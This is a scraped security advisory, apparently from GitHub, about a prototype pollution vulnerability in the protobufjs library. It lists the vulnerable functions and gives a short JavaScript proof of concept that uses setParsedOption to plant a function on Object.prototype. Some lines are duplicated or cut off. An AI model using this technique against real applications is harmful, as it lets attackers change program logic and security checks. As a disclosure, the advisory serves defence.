You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Description
A user-controlled protobuf message can be used by an attacker to pollute the prototype of Object.prototype by adding and overwriting its data and functions. Exploitation can involve: (1) using the function parse to parse protobuf messages on the fly, (2) loading .proto files by using load/loadSync functions, or (3) providing untrusted input to the functions ReflectionObject.setParsedOption and util.setProperty.
Using the setParsedOption function of a ReflectionObject
constprotobuf=require("protobufjs");functiongadgetFunction(){console.log("User is authenticated");}// This will fail, but also pollute the prototype of Objecttry{letobj=newprotobuf.ReflectionObject("Test");obj.setParsedOption("unimportant!",gadgetFunction,"constructor.prototype.testFn");}catch(e){}// Now we can make use of the new function on the polluted prototype consta={};a.testFn();// Prints "User is authenticated" to the console.
Description
A user-controlled protobuf message can be used by an attacker to pollute the prototype of Object.prototype by adding and overwriting its data and functions. Exploitation can involve: (1) using the function parse to parse protobuf messages on the fly, (2) loading .proto files by using load/loadSync functions, or (3) providing untrusted input to the functions ReflectionObject.setParsedOption and util.setProperty.
Vulnerability Description
setParsedOption
function of aReflectionObject
util.setProperty
proto.poc
file containing the following line:CWE-1321
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
The text was updated successfully, but these errors were encountered: